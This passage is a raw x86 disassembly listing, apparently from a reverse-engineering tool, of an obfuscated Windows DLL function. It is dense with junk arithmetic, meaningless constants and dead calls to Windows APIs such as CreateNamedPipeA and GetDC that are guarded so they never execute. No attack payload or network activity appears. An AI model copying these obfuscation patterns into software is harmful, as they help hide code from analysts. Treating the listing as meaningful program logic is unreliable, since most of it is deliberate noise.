mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x2c], 5
jle 0x1000b185
cmp dword [ebp - 0x38], eax
jne 0x1000b185
mov edi, eax
jmp 0x1000b18a
xor eax, eax
lea edi, [eax + 1]
push dword [ebp - 0x28]
lea ecx, [ebp - 0x628]
call fcn.10028a14
xor edx, edx
mov esi, dword [eax]
mov eax, dword [ebp - 0x30]
cmp edi, eax
mov eax, dword [ebp - 0xdc]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
setl cl
xor edx, edx
cmp esi, ecx
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x3c]
inc ecx
cmp ecx, 0xffae3c77
sbb ecx, ecx
inc ecx
sub eax, ecx
jne 0x1000b1de
mov esi, eax
jmp 0x1000b1e3
xor eax, eax
lea esi, [eax + 1]
push dword [ebp - 0x28]
lea ecx, [ebp - 0x628]
call fcn.10028a14
or edi, 0xffffffff
mov dword [eax], esi
mov dword [ebp - 0x30], esi
jmp 0x1000b21e
mov eax, 0xc7e9a03a
mov dword [ebp - 0xc58], eax
mov dword [ebp - 0xc54], eax
mov dword [ebp - 0xc50], eax
mov dword [ebp - 0xc4c], eax
inc dword [ebp - 0xc50]
mov dword [ebp - 0x20], 0xffffffe7
jmp 0x1000b24c
xor eax, eax
mov dword [ebp - 0x40], 0xbff0
inc eax
push eax
call fcn.10028a14
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x54], 0xfff9
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x33
lea ecx, [ebp - 0xa84]
jne 0x1000b227
mov byte [ebp - 4], 0x11
call fcn.10028a0f
dec dword [ebp - 0x28]
push 2
pop ebx
jns 0x1000b097
push 3
pop esi
lea ecx, [ebp - 0x628]
mov dword [ebp - 4], edi
call fcn.10028a0f
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], ebx
je 0x1000b00f
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x48], 0x971c1ec2
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x3c], 0xc407858f
mov dword [ebp - 0x2c], 0x24b5
mov dword [ebp - 0x38], esi
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1000b2be
push 0xce1
call dword [sym.imp.USER32.dll_MessageBeep]
mov eax, dword [ebp - 0x18]
or esi, 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x1c], 0xfb0b0297
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x40], 0xb817
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1000b323
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7c], esi
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x1000b30c
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x1000b531
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x34], 0x734bd47c
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x7c]
mov eax, dword [ebp - 0x1c]
imul ecx, dword [ebp + eax*4 - 0x7c]
mov eax, dword [ebp - 0x1c]
sub ecx, dword [ebp + eax*4 - 0x7c]
add ecx, 0xd606
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, 0xe215
mov eax, 0xf1a969ac
setge cl
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
sbb ecx, ecx
xor ebx, ebx
neg ecx
imul ecx, dword [ebp + eax*4 - 0x7c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x7c]
cmp ecx, 0x237f
setne bl
xor edx, edx
add ebx, 0x17a84e60
cmp ebx, eax
mov eax, dword [ebp - 0x7c]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
neg ecx
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x7c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x7c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x7c]
mov eax, dword [ebp - 0x1c]
inc ecx
imul ecx, dword [ebp + eax*4 - 0x7c]
mov eax, dword [ebp - 0x1c]
add ecx, dword [ebp + eax*4 - 0x7c]
je 0x1000b44f
xor eax, eax
mov dword [ebp - 0x54], 0x1a6f
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1000b443
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x28], eax
jmp 0x1000b430
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x40], 0x6ac39b39
mov dword [ebp - 0x30], eax
jmp 0x1000b425
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1000b422
call dword [sym.imp.USER32.dll_WaitMessage]
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jle 0x1000b411
inc dword [ebp - 0x54]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1000b402
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x20]
push 0
pop eax
jns 0x1000b3fa
mov dword [ebp - 0x28], 0xfffffff8
jmp 0x1000b523
movdqa xmm0, xmmword [0x10008140]
lea eax, [ebp - 0x12e0]
push eax
lea eax, [ebp - 0x12f0]
push eax
lea ecx, [ebp - 0x14e0]
movdqu xmmword [ebp - 0x12f0], xmm0
call fcn.10028a23
lea ecx, [ebp - 0x226]
mov esi, eax
call fcn.1000935a
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x788]
push dword [esi]
call fcn.100289e9
push 3
lea ecx, [ebp - 0x788]
mov dword [ebp - 4], 0x13
call fcn.10028a14
push 3
lea ecx, [ebp - 0x788]
mov esi, eax
call fcn.10028a14
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
setne dl
xor eax, eax
cmp edx, edi
setl al
cmp eax, dword [ebp - 0x34]
je 0x1000b4ee
push 3
lea ecx, [ebp - 0x788]
call fcn.10028a14
push edi
lea ecx, [ebp - 0x788]
call fcn.10028a14
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1000b4f0
mov eax, edi
mov dword [ebp - 0x28], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1000b512
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
or esi, 0xffffffff
lea ecx, [ebp - 0x788]
mov dword [ebp - 4], esi
call fcn.10028a0f
inc dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jle 0x1000b32f
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1000b562
push eax
push 0x1b90
push 0x676
push 0x269
push 0xd19
push 0x1b26
push 0x1703
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
xor eax, eax
mov byte [ebp - 0xd], al
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x14], eax
jmp 0x1000b582
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7bc], 1
inc dword [ebp - 0x14]
xor eax, eax
inc eax
cmp dword [ebp - 0x14], eax
jl 0x1000b571
mov eax, dword [ebp - 0x7bc]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0xfffffffb
cmp dword [ebp - 0x20], 0x18
jl 0x1000b66c
xor ebx, ebx
inc ebx
push ebx
lea ecx, [ebp - 0x6d0]
call fcn.100289a7
xor eax, eax
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000b5e8
push dword [ebp - 0x14]
lea ecx, [ebp - 0x6d0]
call fcn.10028a14
mov dword [eax], 0x2a1836cc
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x1000b5c4
xor ebx, ebx
xor eax, eax
inc ebx
push eax
lea ecx, [ebp - 0x6d0]
call fcn.10028a14
mov dword [eax], 0xfffffff3
jmp 0x1000b63e
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1000b630
push 0x25e7
push 0xca6
push 0x2e7
push 0x894
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
xor eax, eax
push eax
lea ecx, [ebp - 0x6d0]
call fcn.10028a14
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x6d0]
push eax
call fcn.10028a14
cmp dword [eax], 0xffffffe8
je 0x1000b5fc
lea ecx, [ebp - 0x6d0]
mov dword [ebp - 4], esi
call fcn.10028a0f
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x18
jge 0x1000b5a7
cmp byte [ebp - 0xd], 0
je 0x1000b6ff
xor ebx, ebx
lea ecx, [ebp - 0x1080]
inc ebx
push ebx
call fcn.100289a7
mov dword [ebp - 4], 0x15
xor eax, eax
mov dword [ebp - 0x40], 0x45ee
mov dword [ebp - 0x54], 0x8fa8f90a
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000b6c5
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1080]
call fcn.10028a14
mov dword [eax], 0xe0bcd8c4
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x1000b6a4
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000b6e4
push 0xfd7
push eax
push 0x23d8
push 0x210c
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
dec dword [ebp - 0x54]
lea ecx, [ebp - 0x1080]
mov dword [ebp - 4], esi
call fcn.10028a0f
xor eax, eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0xfffffffffffffff7
pop edi
push 2
mov dword [ebp - 0x18], 0xe8cff0ea
lea ecx, [ebp - 0x42c]
xor esi, esi
mov dword [ebp - 0x1c], 0x8999d94b
pop ebx
inc esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], edi
push ebx
call fcn.100289a7
mov dword [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x28], 0x38140a97
mov dword [ebp - 0x2c], 0xa600
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000b765
push dword [ebp - 0x14]
lea ecx, [ebp - 0x42c]
call fcn.10028a14
mov dword [eax], 0x5741311e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000b747
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1000b780
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000b77d
push eax
push eax
call dword [sym.imp.USER32.dll_UnregisterClassA]
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
je 0x1000b76a
cmp dword [ebp - 0x18], eax
jne 0x1000b811
cmp dword [ebp - 0x1c], eax
jne 0x1000b796
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x1000b811
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jg 0x1000b7da
push dword [ebp - 0x28]
lea ecx, [ebp - 0x42c]
call fcn.10028a14
cmp dword [eax], 0
jne 0x1000b7d8
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jle 0x1000b7bd
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1000b807
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x42c]
call fcn.10028a14
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x42c]
mov esi, eax
call fcn.10028a14
mov ecx, dword [esi]
xor esi, esi
mov dword [eax], ecx
inc dword [ebp - 0x1c]
inc esi
cmp dword [ebp - 0x1c], esi
jle 0x1000b7df
jmp 0x1000b96e
mov dword [ebp - 0x48], 0x846b51f0
lea ecx, [ebp - 0xd20]
mov dword [ebp - 0x30], 0x336
push esi
call fcn.100289a7
xor eax, eax
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1000b857
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd20]
call fcn.10028a14
mov dword [eax], 0x9242039c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000b839
xor eax, eax
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x24], eax
jl 0x1000b8cf
mov dword [ebp - 0x54], 8
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x24]
call fcn.10028a14
push dword [ebp - 0x24]
lea ecx, [ebp - 0x42c]
mov esi, eax
call fcn.10028a14
xor edx, edx
mov ecx, dword [eax]
mov dword [esi], ecx
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x2803
setge dl
xor eax, eax
imul edx, dword [esi]
test edx, edx
je 0x1000b8a9
cmp dword [ebp - 0x30], eax
je 0x1000b8a9
lea edx, [eax + 1]
jmp 0x1000b8ab
mov edx, eax
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x54]
cmp edx, eax
setge cl
mov dword [ebp - 0x18], ecx
dec dword [ebp - 0x24]
jns 0x1000b85f
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x48]
cmp ecx, eax
lea ecx, [ebp - 0xd20]
setne dl
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
xor eax, eax
mov edi, dword [ebp - 0x20]
push eax
call fcn.10028a14
mov esi, dword [ebp - 0x30]
lea ecx, [ebp - 0x42c]
mov dword [eax], edi
xor eax, eax
push eax
call fcn.10028a14
xor ecx, ecx
cmp edi, esi
setg cl
xor edx, edx
mov dword [eax], esi
mov eax, dword [ebp - 0x48]
cmp ecx, eax
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
xor esi, esi
imul ecx, dword [ebp - 0x28]
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x48]
dec dword [ebp - 0x28]
cmp eax, ecx
je 0x1000b95d
inc esi
mov eax, esi
jmp 0x1000b960
xor eax, eax
inc esi
lea ecx, [ebp - 0xd20]
mov dword [ebp - 0x1c], eax
call fcn.10028a0f
or eax, 0xffffffff
lea ecx, [ebp - 0x42c]
mov dword [ebp - 4], eax
call fcn.10028a0f
xor eax, eax
push 4
mov dword [ebp - 0x48], eax
pop eax
push 3
pop edi
cmp dword [ebp - 0x48], eax
jge 0x1000bb50
or eax, 0xffffffff
lea ecx, [ebp - 0xd38]
mov dword [ebp - 0x2c], eax
push edi
call fcn.100289a7
mov dword [ebp - 4], 0x18
lea ecx, [ebp - 0xf48]
mov dword [ebp - 0x20], ebx
push esi
call fcn.100289a7
xor eax, eax
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1000b9e7
push dword [ebp - 0x24]
lea ecx, [ebp - 0xd38]
call fcn.10028a14
mov dword [eax], 0x6715f0ed
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1000b9c9
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1000ba0c
push dword [ebp - 0x24]
lea ecx, [ebp - 0xf48]
call fcn.10028a14
or ecx, 0xffffffff
mov dword [eax], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1000b9ef
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1000ba2c
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xc20], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000ba14
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1000ba4c
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x40c], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1000ba34
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1000ba5e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x770], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1000ba51
push ebx
lea ecx, [ebp - 0xd38]
call fcn.10028a14
mov ecx, dword [ebp - 0x20]
xor edx, edx
push 9
mov dword [eax], 9
mov dword [ebp - 0xc20], ecx
mov eax, dword [ebp - 0x20]
cmp ecx, eax
pop eax
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setg bl
xor ecx, ecx
cmp ebx, eax
setge cl
cmp ecx, 0x96e8
jl 0x1000baae
xor eax, eax
cmp dword [ebp - 0xc20], eax
je 0x1000bab0
mov eax, esi
mov dword [ebp - 0x40c], eax
lea ecx, [ebp - 0xf48]
xor eax, eax
push eax
call fcn.10028a14
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x20]
neg edx
mov esi, dword [eax]
sbb edx, edx
inc edx
lea ecx, [esi + 1]
mov dword [eax], ecx
cmp esi, edx
jge 0x1000bae1
xor esi, esi
inc esi
mov ecx, esi
jmp 0x1000bae8
xor eax, eax
xor esi, esi
mov ecx, eax
inc esi
mov eax, dword [ebp - 0x2c]
xor edx, edx
add ecx, 0xfffffffb
cmp eax, ecx
mov eax, esi
setg dl
sub eax, edx
add eax, dword [ebp - 0x20]
je 0x1000bb0c
xor eax, eax
cmp dword [ebp - 0x40c], eax
je 0x1000bb0e
mov eax, esi
jmp 0x1000bb0e
xor eax, eax
mov dword [ebp - 0x770], eax
lea ecx, [ebp - 0xf48]
call fcn.10028a0f
or eax, 0xffffffff
lea ecx, [ebp - 0xd38]
mov dword [ebp - 4], eax
call fcn.10028a0f
mov eax, dword [ebp - 0x48]
push 4
mov dword [ebp + eax*4 - 0xf9c], 8
inc dword [ebp - 0x48]
pop eax
push 2
pop ebx
cmp dword [ebp - 0x48], eax
jl 0x1000b993
mov dword [ebp - 0x28], 0xfcb50bf3
lea ecx, [ebp - 0x11f0]
or eax, 0xffffffff
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 0x7b051af7
mov dword [ebp - 0x40], eax
push 9
pop eax
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x40], 0x6e74e800
push edi
call fcn.100289a7
mov dword [ebp - 4], 0x1a
xor eax, eax
mov dword [ebp - 0x54], 0xfffffff6
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1000bbb6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb8c], 7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1000bb9e
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1000bbdc
push dword [ebp - 0x18]
lea ecx, [ebp - 0x11f0]
call fcn.10028a14
mov dword [eax], 0xecb302af
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1000bbbe
xor eax, eax
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jl 0x1000bc54
mov dword [ebp - 0x2c], 0xe864896e
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + eax*4 - 0xb8c]
mov eax, dword [ebp - 0x28]
imul ecx, dword [ebp + eax*4 - 0xb8c]
test ecx, ecx
jne 0x1000bc0e
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xb8c]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xb8c]
cmp eax, 0x71dfd947
sete cl
or eax, 0xffffffff
cmp ecx, eax
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1000bc4f
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
xor eax, eax
push eax
push eax
call dword [sym.imp.USER32.dll_CreateDialogParamA]
dec dword [ebp - 0x28]
jns 0x1000bbe4
dec dword [ebp - 0x54]
lea ecx, [ebp - 0x11f0]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10028a0f
mov dword [ebp - 0x54], 0xaea0a9f4
or eax, 0xffffffff
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x2c], 0x69a75015
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1000bc9e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x90], 0x5872
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1000bc86
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1000bcb4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa9c], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1000bca3
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
mov dword [ebp - 0xa98], eax
mov eax, dword [ebp - 0x8c]
cmp eax, 0x87a5
mov eax, dword [ebp - 0x8c]
mov edx, dword [ebp - 0x8c]
setge cl
sub ecx, eax
xor eax, eax
cmp ecx, 0x4c5530c4
setle al
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x8c]
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x8c]
imul eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0xa98]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xa98]
mov eax, dword [ebp - 0x8c]
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, dword [ebp - 0x8c]
jle 0x1000bd65
mov ecx, esi
cmp dword [ebp - 0x14], eax
jne 0x1000bd67
mov ecx, eax
mov eax, dword [ebp - 0x90]
sub ecx, eax
je 0x1000bd7f
xor eax, eax
cmp dword [ebp - 0x8c], eax
je 0x1000bd81
mov eax, esi
jmp 0x1000bd81
xor eax, eax
xor edx, edx
cmp eax, 0xe4f
mov eax, dword [ebp - 0x8c]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xa9c], eax
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffffe
jl 0x1000c145
push esi
lea ecx, [ebp - 0x1b0]
call fcn.100289a7
mov dword [ebp - 4], 0x1b
xor eax, eax
mov dword [ebp - 0x34], 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1000bdff
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1b0]
call fcn.10028a14
mov dword [eax], 0xaa9ac70c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000bde1
xor eax, eax
push eax
lea ecx, [ebp - 0x1b0]
call fcn.10028a14
mov dword [eax], 0xffffffe9
jmp 0x1000c10e
mov dword [ebp - 0x28], 0x45d811f0
xor eax, eax
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x1000c100
mov dword [ebp - 0x14], 0x6721f7d9
mov dword [ebp - 0x30], esi
cmp dword [ebp - 0x28], eax
jne 0x1000be47
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x1b0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
push eax
call fcn.10028a14
mov eax, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
xor ecx, ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
test eax, eax
setns cl
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x30], 0x1c
jmp 0x1000c0d6
or eax, 0xffffffff
lea ecx, [ebp - 0x7a8]
mov dword [ebp - 0x24], eax
push 4
mov dword [ebp - 0x54], eax
pop eax
push eax
call fcn.100289a7
xor eax, eax
mov byte [ebp - 4], 0x1c
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1000bed4
push dword [ebp - 0x14]
lea ecx, [ebp - 0x7a8]
call fcn.10028a14
push 4
mov dword [eax], 0x51a330c1
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x1000beb3
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1000bef0
push eax
lea ecx, [ebp - 0x1b0]
call fcn.10028a14
cmp dword [eax], 0
je 0x1000beee
mov eax, esi
jmp 0x1000bef0
xor eax, eax
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x1b0]
xor eax, eax
push eax
call fcn.10028a14
mov edx, dword [ebp - 0x24]
xor ecx, ecx
add edx, dword [eax]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
sete cl
xor eax, eax
add ecx, 8
je 0x1000c0ac
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1000bf3e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc10], 0x81dd571b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1000bf26
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1000bf5e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x798], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1000bf46
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x1000c0e2
mov dword [ebp - 0x24], 0xffffffe5
cmp dword [ebp - 0x24], 0xffffffe7
jl 0x1000c0b3
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x24], eax
je 0x1000bfb0
cmp dword [ebp - 0x14], eax
jne 0x1000bf8b
dec dword [ebp - 0xc0c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x794]
mov eax, dword [ebp - 0x790]
mov eax, dword [ebp - 0x794]
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xd68e480b
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
neg ecx
cmp ecx, 0x298b2365
setne al
xor ecx, ecx
cmp eax, 0x12f0
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
inc edx
imul ecx, edx, 0xbb84
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
or eax, 0xffffffff
cmp eax, ecx
mov eax, dword [ebp - 0x54]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
